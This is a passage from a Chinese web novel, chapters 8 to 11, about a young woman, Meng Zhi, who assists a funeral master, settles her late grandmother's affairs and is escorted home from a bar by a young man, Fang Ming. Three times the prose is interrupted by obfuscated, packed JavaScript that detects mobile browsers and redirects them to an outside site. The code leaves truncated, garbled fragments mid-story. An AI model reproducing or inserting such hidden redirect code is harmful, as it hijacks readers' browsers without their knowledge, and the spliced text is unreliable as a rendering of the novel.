她领悟到任何人都可以成为她的朋友,上至公园里的歌唱大爷,下至邻居家的开裆裤小孩,不论他们相差十岁还是五十岁,不论各自学历是初中还是院士。她觉得广阔天地,大有作为。 8. 飘零 青龙师兄站在墓园的大门前,一身黑衣,肥胖而肃穆。孟至心不在焉地想,跟个死神似的。她照例站在他身后一步远的地方,戴着出任务专用的渔夫帽。 一辆轿车缓缓减速,经过两人面前,继续向前慢动作滑行,好像要一路滑离此地。青龙师兄在后面追着大喊:“大哥,在这呢!别往前开了!” 那车这才刹住。开车大爷哆哆嗦嗦地推开车门,脚步蹒跚,神色恍然,对青龙说:“开过头了,唉。老母亲没了,我这几天心里乱啊……” 青龙师兄沉重地点头说:“明白,都明白。”说着,他看向后备箱,关怀备至地拍着大爷的手背,严肃地问道:“东西都带了吧?” 大爷说:“带了。凡是有的,都在这了。”他打开后备箱,拎出两个蛇皮口袋,孟至上前接了过来,一手一个。 青龙师兄低声吩咐道:“那边路窄,车开不过去,只能步行。都跟住我,千万别走丢了。”最后这句是对那恍然大爷说的。 一支奇特的纵队向北出发,绕过墓园,沿大路行进,接着突然拐进狭窄的胡同。两侧有些平房,都是卖丧葬用品的。 胡同越走越窄,过了一处关隘,眼前赫然是一片野地。周围树木凌乱,几辆车扎在树丛里停着。 孟至跟在青龙身后,不时回头为恍然大爷引路:“咱们继续往前。” 转过一片树林,走到场子深处,脚下的地面逐渐变成焦黑色。一堆一堆的灰烬,被扫到一边,仿佛燃烧后的微型山脉。几人脚踩着裸露的土地,扬起一阵尘烟。 青龙师兄说:“就是这里。”他走进一旁的树丛里,很快拖出一架巨大的纸牛,色彩鲜艳,栩栩如生,薄纸糊在骨架上,体积类似一辆小轿车。孟至放下两个口袋,解开封口,里面是一件一件的衣服。那都是逝者生前的衣服。 大爷站在旁边,一脸潦倒之意。青龙师兄点燃了纸牛,对大爷一声令下:“跟着我念!” 火焰包围了纸牛,青龙说:“老牛老牛你听喝!” 大爷跟着说:“老牛老牛你听喝……” 青龙沉声念道:“妈妈的脏水你来喝!” “妈妈的脏水你来喝……” 青龙大喝一声:“见着清水你就躲,遇到浑水你就喝!” 大爷躲避着飞扑出来的火星,头昏脑胀地说:“见着清水你就躲,遇到浑水你就喝。” 几个戴着头巾的女人不知从哪里冒了出来,她们每人拿着一根等身长的木棍,身穿几十年前的流行服饰,从头到脚已经被烟熏黑。不需任何人招呼,这些女人把木棍伸进火堆里,象征性地翻了几下,口中嘀嘀咕咕地说着吉祥话,孟至一句也听不懂。 青龙师兄对恍然大爷说:“给她们二十块钱,支付宝微信都行。”那些女人纷纷亮出脖子上挂的收款二维码,一律是彩打塑封的。 然而,恍然大爷眉头紧锁,显然觉得这些木棍女不请自来,突然闯入仪式,缺乏边界感。他没有理会青龙的话。 其中一个女人对他说:“保佑你老阖家平安,步步高升……给我二十块钱。” 恍然大爷不为所动。木棍女一个个忿忿不平,拖着木棍一哄而散。先前要钱的女人呸了一口,一拧肩膀,转身离去,用沙哑的破锣嗓诅咒道:“不给我钱,你来年就倒霉……”那样子竟像一个小鬼。 孟至在旁边漠然地看着,对小鬼毫不在意。青龙师兄假装没听见她们的骂声,示意孟至执行下一步。孟至得到指令,从口袋里掏出一件一件的衣服,先把扣子一个一个剪掉,再把裤腰带剪断,最后投入火中。 过去的人认为,如果裤腰带不剪断,亡魂就会被捆住,纽扣也得拆掉,否则来世会长瘤子。孟至很怀疑现在是否还真的有人相信这种传说。 但无论如何,许多人家还是请白事先生如此操办。仿佛这样就能让故去的人在另一个世界有一席之地,日后还可以来活人的梦里。 全部烧尽之后,青龙将一个巴掌大的锦囊递给恍然大爷,嘱咐他几天后带着锦囊来办理火化,到时这锦囊将随着逝者一起化为灰烬。今天的法事告一段落。 三人排成一队,深一脚浅一脚地走出野地。青龙师兄拍着大爷的肩膀,把他送上车。 大爷因老母亲的去世而六神无主,对摆渡人团队十分依赖。他一再感谢两人,然后长叹一声,滑行着开走了。 那群木棍女围了过来,方才酷似小鬼的那个女人瞄着孟至,狐疑地拷问青龙:“这个小丫蛋跟着你干?” 青龙师兄说:“嗯呐嗯呐,我们仨是个组合,白事三剑客,八月中旬出道的。我小舅子专门开车,不管园区里的事,她是帮我跑腿的。” 孟至机械地重复道:“我是帮他跑腿的。”根据以往的职场经验,无话可说时,孟至就重复别人的话。 两人往大路方向走去。青龙师兄对孟至说:“头几次我带你走一遍,以后你可就得自己上了。” “没问题。”孟至说,“算上我姥姥那次,已经学了两遍了。” 青龙师兄不知道如何接话,又不好夸她学习能力强,只能哦了两声。他又说:“最近业务可忙啊,你想好了,以后就长期给我帮忙?” “在我找到正式工作之前,我都来。体验生活呗。”孟至不紧不慢地走着,露出散漫的微笑,“师兄啊,人生就是体验,你掌控不了什么。海子都说了,你来人间一趟,你要看看太阳。” “哪个孩子说的?”师傅深感纳闷,扭头往园区里看着,“再说这地方哪有太阳?你自己看看,一进去就没阳光了,都是荫凉地儿,这可不是啥好地方。” 孟至笑着向他一致敬。今日收工,她自行去坐地铁了。她已经提前跟养老院约好,今天去收拾姥姥遗留的杂物,办理合同终止的手续。 刘校长说她会在某一站等着孟至,两人站内汇合,而后一起过去。 孟至赶到那一站时,刘校长严肃地站在一根柱子旁边,两侧的列车从她身边呼啸而过,扬起她花白的头发。 孟至走过去说:“妈。” 刘校长皱着眉头,和她并肩等待下一辆车。孟至看着玻璃幕墙上的倒影,两人一高一矮,一个笔直,一个初显衰老。 刘校长突然开口说:“你姥姥最后这几个月,我去照顾过几次。” 孟至默默看着她。她继续说道:“如果没照顾她这几次,我心里得挺难受。”说完,刘校仰头慨叹,似乎庆幸自己去得及时,为良心找到了支点。 孟至没有说话,她和刘校之间从来不谈论这样的感性话题。 下车以后,刘校长突然停住了。她对孟至说:“这次去养老院,就是最后一次去了。” 孟至赞同道:“那当然。以后不能再去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419254|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些年来,每逢佳节,孟至一家都在养老院度过。他们带着打包好的饭菜,走进孟至姥姥的一居室,熟练地摆出折叠饭桌,围坐在一起陪老人吃午饭。饭后再停留半天时间,傍晚时离开,就像完成了一个任务。 后来孟至的姥姥逐渐糊涂了,会反复地问同样的问题,每隔半分钟问一次。刘校长没有耐心解答,所以她逐渐不去养老院了,她把老孟派出去,一周探望一次。孟至每次休假回家时,会接替老孟的班,去为她姥姥反复解答问题。 现在,两人站在出站口,刘校长迟迟不踏出闸机。孟至提醒道:“再不去,人家行政就下班了。” 刘校长说:“我不去了。你自己去吧。”说完,她直接转身走回站台,很快消失在人海中。 孟至懒得做出任何评价,她自己走进了养老院的园区。楼长在办公室里等她。孟至刚一现身,楼长就站起来拉住她,带着她去行政区换合同。 这位楼长起了一个适合服务业的好名字,叫常来,可惜孟至以后不会常来此地了。常楼长负责管理二号楼,当时孟至姥姥就住在二号楼,孟至为了托她多加关照,逢年过节没少给她带礼物。 常来走在前方引路,步履匆匆,一路不停地回头倾诉:“你姥姥这一没啊,我一下就上火了,嗓子都起泡了……你姥姥那人好啊,平时对我们可好了,她就是后来糊涂……”然后就列举了一系列好事。 孟至一直点头说:“是,是。” 常来带着孟至办了手续,老太太当年入住时签的合同被终止,孟至又另签了若干文件。 一居室已经被回收,遗留的东西都堆在一间小办公室里,有吃了一半的饼干盒,用剩的洗发水,还有些零零碎碎的杂物。孟至翻了一遍,实在没有什么可留下的,就委托院方代为清理了。 据常楼长说,最后两个月里,老太太面部歪曲,嘴也无法合拢,但去世后就奇迹般地合上了,整张脸非常安详。她说是那个丧葬师傅手法了得,又给净身,又给穿衣。 据说孟至姥姥这一次去世,让白事先生一炮走红,左邻右舍的老人都在打听如何料理身后事,还纷纷提前预订寿衣。 孟至闲适地说:“订寿衣是冲喜呢,提前订了是好事。谁要是想订,就联系潘哥吧,他现在是我师兄。” 在楼长惊奇的目光里,孟至为摆渡人团队做完了广告,挥手告别,像梦游一样离开了。这一天令她筋疲力尽,她变成了一副漂浮的躯壳,只有暂时把灵魂抽走,才能继续平静地生活下去。 然而,手机弹出的一条消息又将她的游魂重新召回。方铭的黑白漫画头像在问她:“姐姐,今晚还来烧烤摊吗?” 孟至打起精神,很快回复道:“今晚不去了,我要去小酒馆跟朋友聊天,你自己慢慢吃。” 那边好奇地问道:“什么样的小酒馆呀?” 孟至觉得有点想笑,心想这小方不知到底几岁,竟连酒馆都没进去过。她像对小孩解释词语一样回答道:“我家附近的小酒馆,不太大,就是喝酒的地方。” “原来是喝酒的地方,”方铭用一种单纯的口吻说,“我家里有鲜人参泡的酒,我爸送的,你想喝吗?” 哈地一声,孟至几乎把肩膀上的背包笑掉了。她先是打出一句:姐姐要去喝的可不是这种酒。接着又全部清空,回了一句:“那下次你带一瓶来吧。” 9. 酒馆狩猎 从养老院回来,孟至冲了个澡,又出门了。 晚间下了一场小雨,街道像一层湿润的镜子。水面反射着路灯和红绿灯,如同闪烁的霓虹,竟让平平无奇的街区变得像国际都市一般。雨后,C市跑步进入一流城市梯队。 孟至身穿一件深灰色工装连衣裙,拿着一把黑色长柄伞,悠闲地向一片老式居民楼走去。此时正值晚高峰,汽车缓慢地移动着,孟至抬腿就超过了它们,无牵无挂地到达目的地。 这片老楼外表破旧凌乱,里面隐藏着咖啡店和酒馆,十分斜杠。孟至拐到某一栋楼前,一家小酒馆赫然出现。 这家酒馆是用一楼门市房改装的,装修成美式复古风,铁门铁窗,橙色灯光,看上去就像一张光鲜的不干胶粘贴,贴在了灰色平顶老楼的底层。 酒馆大约有五十平方米,格局与民宅别无二致,门厅靠墙处立着一座吧台,陈设复杂,周围是几个散座。里间似乎是两个卧室打通,摆了几张圆桌和木凳。 孟至在里间选了一处旮旯,落座后点了一杯啤酒,然后拨通了斯基的视频电话。今天是斯基的生日,两人计算时差,研究半天,最后选定在这个时间隔空庆祝。 视频接通后,孟至举杯向斯基致辞:“恭喜了,又年轻了一岁。”说完她昂头一饮而尽,还亮出杯底。 斯基凑到屏幕前看了半天,说:“你这喝的是白开水啊。” 孟至体面地说:“啤酒还没上来,一会儿再祝你一次。”她酒量不佳,每次喝啤酒还要掺冰块,而且要等冰块融化以后再喝。 很快,酒馆的长发男老板托着圆盘款款走来,盘子里摆着一扎啤酒和一碟虾条。 孟至举起啤酒,重新向斯基祝贺一遍:“恭喜了,又年轻了一岁。” 斯基举起自制鸡尾酒,磕在屏幕上,自言自语道:“这么一会儿,年轻两岁了。” 孟至大口喝着啤酒,泡沫包裹着酒体,入口后迅速消退,在这之后,苦涩的味道才弥漫在口腔中,像缓释药片一样。 在斯基背后,留学生公寓的厨房隐藏在昏暗的橘色灯光中。孟至对屏幕一扬下巴:“你怎么自己在家?没出去玩吗?” “玩不动了,自己在家调酒。”斯基把玻璃杯举到镜头前,向孟至三百六十度展示,“看我调得怎么样?自由古巴。” “不错,不错,朗姆酒加可乐加青柠,你看,我还是懂一点的。”孟至把头凑到手机支架前,打量着杯中清亮的棕黄色酒浆,“不过你这颜色怎么有点浅啊?” 斯基文邹邹地说:“这个,调得好的话,当然应该是琥珀色的,就是那个……玉碗盛来琥珀光……” 孟至晃着玻璃杯,听着冰块叮铃作响,缓慢地摇着头说:“完全看不出你是小学文凭。” 斯基假笑着说:“可惜我没有可乐,所以这杯加的是格瓦斯。” 孟至哦了一声:“怎么不用红牛呢?” “一看你就不懂酒。”斯基戳了一下屏幕,就像在戳孟至的脑门,“红牛加酒精是禁止的,会让人亢奋过度的。” “你为什么不出去玩了?”孟至开始一根一根地吃虾条,“你不是蹦迪领舞吗?” 斯基却没有直接回答。又喝了几口格瓦斯加朗姆酒之后,她说:“总觉得提不起劲头,出去玩也没意思。以前看那些地方,觉得很繁华,很好看,现在看着好像也不过如此。我觉得我离家太久了。” “你也不敢看父母的白头发吧。”孟至点着头叹气,看起来十分内行,“我之前也是这样的。回家一进门,发现他们突然老了。其实不是突然,是我们回来得太少了。” “应该是吧。”斯基无限惆怅,“对了,你回老家已经多少天了?找到新朋友没有?” 孟至说:“认识了一个小姑娘,是被狗追的时候认识的。还认识一个小老弟,他是开锁师傅,不过现在转行了,好像是做废品回收……” 斯基无力地说:“啊……”从她的表情来看,她应该是觉得孟至在老家混得很差。 孟至悠哉地告诉她:“这个师傅姓方。小方很不错,性格比较面。” 斯基大喜过望:“面的好!面的不会欺负你。” 门口的风铃响了一声,一位新客人来到酒馆中。晚八点刚过,酒馆逐渐进入营业高峰期。那人走到里间,在另一个角落坐下。 长发男携带着菜单,飘忽地走到他身边,仿佛游离于异次元。那人点了一杯特调饮品,然后突然抬头看着长发男,面露恳切之意:“你好,我打听一下,这里以前是不是一家旧书店?那家书店搬到哪里去了?” “不太清楚。”长发男微笑着摇摇头,又转脸对一旁的孟至说,“知道他在找什么吗?” 孟至瞄了一眼提问的人,笑了一下,说:“找旧书店。” 长发男没有接她的话,而且自问自答:“梦。找的是过去的梦。”说完,他静悄悄地离开了。 斯基在视频电话里大笑起来:“你在什么地方,怎么都神神叨叨的?”孟至急忙摁低音量。 寻梦男开始独酌,孟至则趴在桌上,和斯基小声聊天。 聊得正欢时,肩膀突然被人拍了一下。孟至直起身来,发现寻梦男自行拖来一把椅子,坐在她的桌边。 在昏暗的灯光下,她发现这人的镜框一个空着,一个有镜片。这使得他的双眼呈现出不同程度的光线折射,一只眼睛承接灯光,熠熠生辉,另一只眼睛则躲藏在混浊的镜片后,影影绰绰,仿佛蒙着一层灰尘。 “你今晚自己喝吗?”寻梦男指了指自己的阴阳眼镜,“不要觉得我这副眼镜奇怪,我还戴过更奇怪的。想不想听?” 孟至伸手示意手机的方向:“我在打电话呢,你还是先找你的旧书店去吧。” “我以前总来旧书店看书,把一只眼睛看成近视了。”寻梦男娓娓道来,“那时候我戴的眼镜只有一条腿,这样干架的时候比较方便,一甩头就把眼镜甩一边去。”说着他摇头示范,好像在跳甩头舞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419255|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟至说:“真有绝活。” 那人风度翩翩地举起酒杯,似乎在等着她说点什么。于是她和蔼地问:“家里的保险都买齐了吗?老人的,自己的,孩子的,年金险,健康险,重疾险,意外险……” 斯基破口大笑起来,孟至只好先把她静音了。 寻梦男愣了一会儿,抗拒地说:“不用不用,保险都是骗人的。” 长发老板突然飘过,悠悠地说:“增额终身寿,最近很流行。” 孟至打了个响指,摇头赞不绝口:“对了。3.5%预定利率的增额寿,中长期年化收益3.45%+。下个月就停售了,怎么样,快考虑买一个吧。” 寻梦男反而凑了上来,十分艺高人胆大:“还是聊聊别的吧。对了,你这样的大美女,怎么会自己喝闷酒啊?” 孟至厌倦地往后退去,举起啤酒一饮而尽,不再理会他。放下酒杯后,她想再跟斯基说几句话,却发现手机上的画面全是重影,仿佛斯基灵魂出窍了。 她听见寻梦男的声音就在她耳边:“要不要加个微信?其实我业余是代理葡萄酒的,我看你不太能喝高度数的,是吧?我们的酒就适合……”他越说越激动,越激动越靠近孟至。 孟至想要伸手把他推到一边。然而,她的指尖还没有碰到他,就有一只修长有力的大手伸了过来,猛地把寻梦男连同他的凳子推了出去,二者共同贴地滑行了半米。 孟至吃惊地抬头看去,方师傅正缓缓收手。他调整着外套的袖口,冷冷地看着寻梦男。 “小方,你怎么来了?” “卧槽,你谁?” 两个问题同时抛向方铭。他低头看了一眼孟至,原本冷峭的眼神瞬间变得清澈无比,好像清醒状态下的哈士奇。他微微向上抬了一下嘴角,对孟至说:“反正不是来换锁的。” 接着,他又转向寻梦男,仿佛从清纯的狗变回了灰毫狼王。寻梦男还在叫嚣,只是不敢从凳子上站起来,只能激动地拍打座椅扶手。方铭用一种极度冰冷的声音说:“这是我客户,你别碰她。” 寻梦男张口结舌。方铭又说:“她罩着我。” “原来你……”寻梦男上下看着方铭,突然抱拳折服,“不是,兄弟,你是……这个……男模啊?” 孟至震惊了,同时也糊涂了。在酒精的作用下,大脑中的齿轮转速变得缓慢起来。不知怎地,首先跳入她脑海中的,是斯基制作的那批洗澡鸭子,继而鸭子演变为洗澡时的方铭,只是那躯体模模糊糊,实在看不清楚。 她转头去看方铭的反应,却见他由好几个图层重叠组成,居高临下地看着寻梦男,神色淡泊,仿佛不屑于和他对话。 寻梦男见他竟然理直气壮,显然非常佩服他的职业认同感,讪讪地笑着说:“难怪身材这么好呢,模样也长得带劲哈,这我可跟你比不了。” 方铭没有说话,一手轻轻拉起喝醉的孟至,扭头就走出了酒馆。长发老板做梦般地擦拭着玻璃杯,目送他们离去。 10. 在这安全的黑暗中 孟至一手抓着手机和雨伞,歪歪斜斜地跟在方铭身后。刚才她起猛了,此刻头晕目眩,好像一闭眼睛就能睡在大街上。 喝进去的酒似乎全都灌入了大脑中,就像水灌满了鱼缸。随着起身的大幅度动作,原本宁静的酒的汪洋,突然剧烈摇晃,冲刷了整个大脑,大脑彻底被麻醉。 她略微迟钝地看向方铭,等待着他开口说,我可不是卖身的人,刚才你们搞错了。等了半天,他却一直闷头走路,迟迟没有说话。 不知为何,她心中五味杂陈。她并不觉得小方低人一等,但她还是怅然若失,总想转身就跑,从此远远躲开他的目光。 走到分岔路口,方铭站定了。冷风一吹,孟至微微发抖,只有被他握着的那一截胳膊是暖意洋洋的。她没精打采地抬起头,对方铭说:“你今晚不用营业吗?是不是太耽误你工作了?你快回去忙吧!” 路灯散发着暗淡的光线,方铭的脸却在黑夜中愈发明亮,线条锐利,暗藏锋芒。他低头看着孟至的眼睛,那双眼睛现在水光潋滟,醉意朦胧,仿佛酒的海洋也流经了此处。酒红色长发飘荡在她的周围,就像水草浮动在水中。 他垂下目光,静静地问:“你好像不开心了,是因为我多管闲事吗?”不等孟至回答,他又轻声说:“我在保护我的客户。怎么,你不是我的客户吗?” “我没有这方面的……额,消费习惯。”孟至努力睁大睡眼,已经快要惊呆了。她没想到自己拿小方当朋友,小方却拿她当潜在客户。 方铭上前一步,两人近在咫尺。他像闲聊一样问道:“我是小老弟?还是面的?” “哟,你听到我们打电话啦?”孟至心虚地瞟向一旁,突然想起斯基的视频尚未挂断。 她把手机举到眼前,费力地看着,发现静音的斯基瞪着大眼,像看戏一般看着屏幕这头。方才那些破碎而摇晃的镜头让她十分过瘾,看她的口型是在说:“什么情况,速度与激情?” 孟至立刻挂断了电话,匆匆发了一句:“回聊。” 方铭看着她,好像在看一个好玩的小孩:“你怕我啊?” 孟至摇头说:“这倒没有,主要是怕你……”怕你身体透支过度。一摇头,脑子里的酒又晃悠起来,几乎能听见涛声了。 方铭松开她,双手插兜,轻松地说:“我确实是面的,不会欺负你的。走吧,送你回家,姐姐。”最后两个字发音十分意味深长,让孟至浑身像过了电一样。她不禁想到这就是专业的力量。 她谨慎地措辞了一番,捋直了舌头说道:“我喝多了,你送我回家,付你保镖钱,好吗?今晚就……额,不要兼职了吧。” 方铭说:“成交。” 两人慢慢向孟至家走去。方铭拿着她的雨伞,步伐轻捷,浑身流动着雀跃的气息,好像要去孟至家里吃席一般。孟至却心事重重。 走着走着,方铭忽然变得消沉起来。孟至急忙竖起一根手指,头头是道地说:“你平时的时薪是多少?我一会儿就转你,绝对不差事儿!” 方铭没有回答。又走过一条街,孟至的公寓出现在眼前,他才低声问道:“你男朋友是在外地吗?所以才没来接你?” 孟至奇怪地说:“没有呀,我哪有男朋友这种高级货?” 方铭说:“吃烧烤那次,你穿的是一件男装T恤。” “那是干活时候穿的。”孟至心不在焉地笑了。她遗憾地说:“我这个人混阴阳两界,带点晦气,不适合找别人谈。” 他看着孟至,数次欲言又止,最后说:“你喝醉了。” “是呢,我——喝快了。”孟至苦恼地用双手搓着脸,“前面就到我家了,你早点回吧,说不定今晚还能接到一单呢。” “说什么醉话呢。”方铭笑了一下,慢慢转过身去,“那我走喽,你上去吧。” 孟至呆呆地看着公寓。每个窗口都透出不同颜色的光,巨大的楼房如同一片光怪陆离的马赛克。然而,属于她的那个窗口是黑色的,等待她的是一个独居的夜晚。在老家的独居,似乎比在外漂泊时的独居更加沉寂难熬。 她突然想要追逐着方铭的背影,把他叫回来做伴,反正他按小时收费,不会吃亏的。于是她调头就跑,像迷途羔羊一样放声大喊:“小方——” 谁知方铭根本没有走远,他正站在原地看着孟至进楼。孟至来不及停住脚步,整个人结结实实地砸在他的身上。 方铭稳稳地接住了她,两只手臂牢固地环绕着她的腰和背。孟至抬起头来,稀里糊涂地想,这人真扛撞啊,她几乎是发射过来的,这具坚实而富有弹性的躯体却纹丝不动。在巨大的撞击力作用下,她以为自己会深陷进去,结果似乎反而是对方陷入了自己的身体中。 她站直双腿,往后退开两步。方铭则看向一边,不停地眨眼睛。他的脸颊蒙上了一层粉色,耳朵红得像充血一样。 孟至双手背后,踮脚看着他,用商量的语调说:“我不想自己在家,你上来坐一会儿行不行?” 方铭恩了一声,听起来更像是压抑的哼声。 片刻之后,两人坐在孟至家里的飞毯上。孟至靠着皇冠靠枕,昏昏欲睡。 方铭环视着客厅,原本堆在阳台的几个箱子也消失了。他说:“你的东西少了很多。” 孟至撑着下巴说:“是的,是的,那几个箱子里装的是旧书,都卖了。” “哦。”方铭装出一副明白的样子,“知识就是财富,对,得变卖旧书换点钱。” 孟至哼了一声,懒得回答。方铭继续说:“哎,你这房子里家具也扔了,书也卖了,最后不会只剩承重墙了吧?” 尽管已经在入睡的边缘,孟至还是维持着起码的理智。她不想让方铭觉得自己家境富有、高不可攀,就说:“对啊,要不然我怎么生活呢,总不能光去早市上试吃。” 方铭小心地看了她一眼,似乎在评估她到底有多穷。他说:“今晚就不要给我转钱了,姐姐。” 孟至潇洒地一挥手:“不用!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419256|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说着,她爬起来走到窗边,对方铭招手:“我给你看个好东西!” 方铭走到她身边,眼看着她像长了吸盘一样吸附在玻璃上。她时而把手放在眼睛周围,遮挡着来自室内的光线,以免眼前的玻璃反射影像,时而上上下下地调整着眼睛高度,仿佛在做原地蹲起。 最后她指挥方铭:“拉一下窗帘,现在玻璃上都是室内的倒影。” 方铭拉上了一半的窗帘。两人站在另一半的空白中。 孟至一伸手,潇洒地拽过来另一边的窗帘。帘子顺畅地滑行过来,与另一片合拢,将孟至和方铭困在了窗帘和窗户之间的缝隙中。房间里的灯光被屏蔽在外,他们隐藏在窗帘后面,就像躲在令人安心的黑暗空间里。 方铭的脸慢慢贴近过来。他盯着孟至,目光灼灼。孟至一指窗外:“看天上!” 他不太情愿地看向西南方向的夜空,月亮悬挂在高高的天际。孟至百思不得其解:“你说这个月亮,为什么偏西呢?我记得这个时间,应该快到正中央呀?” “月亮位置是跟农历时间有关系的。”他淡淡地说,“同样是午夜,农历十五它在正南,十五之前是东南,十五之后是西南。” “你懂得很多!”孟至对他竖起大拇指,“好!” “说不定是你懂的太少了呢,姐姐。” 孟至主动说:“我是理科生,我地理不好,作文也不好。小时候让写感恩父母,我就一通胡编乱造,说什么,他们每日劳累,常常睡倒在饭桌上……” 方铭笑了起来:“咣当一下那种?” 辽阔的城市中,无数灯光扩散着,照亮了苍穹下的楼房和街道。城市变成了半圆形水晶球里的景物,仿佛连充斥其中的空气都是亮的。借着这些又明又暗的光,孟至在黑暗夹层中看见了他微笑的轮廓。 她悄声说道:“小方,以后你不要再做男模了,万一被抓了就不好了。” 方铭摸着头问:“谁做男模了?你在夸我吗?” “在酒馆的时候,那个人说你是……”孟至眯起眼睛,“你也没反驳呀。一般人被这么诬陷,应该会拿电钻钻他吧?” “为什么要反驳他,不理他就好了。”方铭却不以为然,“你不是都说了,小方是面的。” “那你怎么在酒吧里?”孟至打了个哈欠,“你不是在接单吗?” “那种小酒馆都是很日常的清吧,怎么会有男模呢。”方铭的眉毛压了下来,目光忧郁地看着她,“我只是去那家店吃炸薯条的。你就没有想过,我其实就住在这一片?” 孟至突然高兴地说:“你不是就好。你长得太好看了,我误会了。” 接着,她拉开窗帘,终结了那片黑暗的未知。方铭还停留在原地,她率先走回到光明中,给他拿了一瓶草莓牛奶,了无挂碍地说:“好小方,去吧。” 方铭抿嘴看着她。孟至一路把他送到门口,在告辞之前,他回过头来,不轻不重地说:“你喝醉了还挺有趣的,姐姐。” 11. 小时工与临时工 恍然大爷的母亲出殡这天,孟至早早抵达墓园门口待命,却发现青龙师兄已经背着手站在那里,仿佛前一天根本就没走。他身上还斜挎着那个背包,里面装着他的工作用品。 见到孟至大步走来,他溜达着迎了上来:“起这么早,不习惯吧?” 孟至扣上渔夫帽,又戴上新添置的口罩,说:“还行,回家以后睡得也早。”回老家以来,孟至几乎完全失去了五光十色的夜生活,而当她在晚十点躺下时,小区里的灯光往往也已经灭了一大半,亮着的窗口寥寥无几。整座小区像巨大的养老院。 青龙点头笑着,向自己身后招手,脸还对着孟至:“这就是我小舅子,今天出殡用的丧葬用品都是他开车拉来的。” 当看向他的身后时,孟至凝固了一下。她看到那天酒馆里的寻梦男就站在不远处,脸色阴沉地注视着这边。青龙招了半天手,不耐烦地回头看去:“过来呀,老弟。” 寻梦男磨磨蹭蹭地踱步到孟至面前,脸上呈现出介于羞耻和反感之间的表情。双方都用异样的眼神看着彼此,孟至发现他今天终于戴了一副正常的眼镜,两个框里都有镜片,只是镜片很小,且在阳光下会变成墨色,这使得他的脸上横着一副小椭圆形墨镜,就像过去在街边拉二胡的。想到那天酒馆中的场面,孟至忍住了没问他坐着椅子滑行的感觉如何。 而他看向孟至的眼神,显然是觉得孟至长年累月包养了男模,是男模手头的大客户。 青龙正要为彼此引荐,孟至率先开口了:“这就是白虎师兄啊?” “啊,对。”青龙大手一挥,“这个小姑娘是……” “百五。”孟至笑嘻嘻地说,“我的法号是百五。” 左青龙,右白虎,中间夹个二百五。白虎推了一下墨镜,简单点了点头,看起来孟至就算叫天王老子也和他没关系。二人没有直接的业务往来,谁也没有提出互换微信。 很快,恍然大爷与他们汇合了,他还在不停地接电话,向前来吊唁的来宾报出告别厅的号码。白虎插嘴道:“大哥,我看咱们订的不是B套餐吗?B套餐里包含一个大幅遗照,三个花圈,我们都给摆好了。我的建议呢,是让几个孙女再各自订一个花圈,一般人家都是这样的……” 青龙沉声说:“先让大哥接完电话!” 孟至鄙夷地看了白虎一眼,认为他根本不是做销售的料。她觉得白虎有趁人之危的嫌疑,推销态度也过于急功近利,显得吃相难看,不够从容。 青龙要去跑另一家的流程,本次开光由孟至主持。孟至带着恍然大爷走入告别厅,厅里摆着一口棺材,里面是恍然大爷的老母亲的遗体。周围依然装点得百花齐放,靠墙摆放着几个花圈。 孟至先请恍然大爷跪在旁边,然后自己也麻溜地跪下,用毛笔轻点着逝者的每一处五官,不急不缓地念道: 开眼光,看西方,西方大路亮堂堂。 开鼻光,闻供香,极乐世界百花香。 开嘴光,吃牛羊,琼浆玉液管够尝。 开心光,亮堂堂,保佑子孙永安康。 …… 这一套念词是孟至姥爷去世时,听墓园的工作人员念的。孟至根据回忆拼凑出来,略加改编,念得头头是道。在她看来,所有繁琐而怪诞的步骤都不过是为了拖延最后的时刻,让遗体晚一些被火化,让生者再看一眼逝者。 开光之后,工作人员主持了简短的告别仪式。再之后,遗体终于被推去火化,从此真正地在世界中消失。青龙刚从上一家的流程里脱身,又赶着去提交这一家的火化申请。孟至想起姥姥火化那天,也是被推出告别厅的一刹那,刘校长突然放声大哭,其嚎啕声被远远地抛在推车的后面。孟至突然不寒而栗。 恍然大爷被打扮着披上了白头巾,一手举着幡,一手托着遗像。在他身后跟着一行亲属,其中几个壮汉抬着那三个花圈。孟至引路,这支出殡的队伍走出告别厅,走进九月的凉风中,走向焚烧花圈的铁炉。 花圈被抛进炉子里烧毁,孟至示意披麻戴孝的大爷跪下来摔盆,又让他大喊“妈妈走好”。一切结束之后,孟至又从挎包里掏出白酒给众人洗手,再一人发一片饼干。 白虎不知从哪里冒了出来,试图对恍然大爷进行最后的推销:“哥,你订的这个骨灰盒我拿来了,但我车里有更好的,我的建议是,你换个更上档次的。老太太生前是公务员,人民公仆,骨灰盒不应该再像生前那么节约了……”他手里还拿着一支笔和一个小本,仿佛要等大爷点菜。 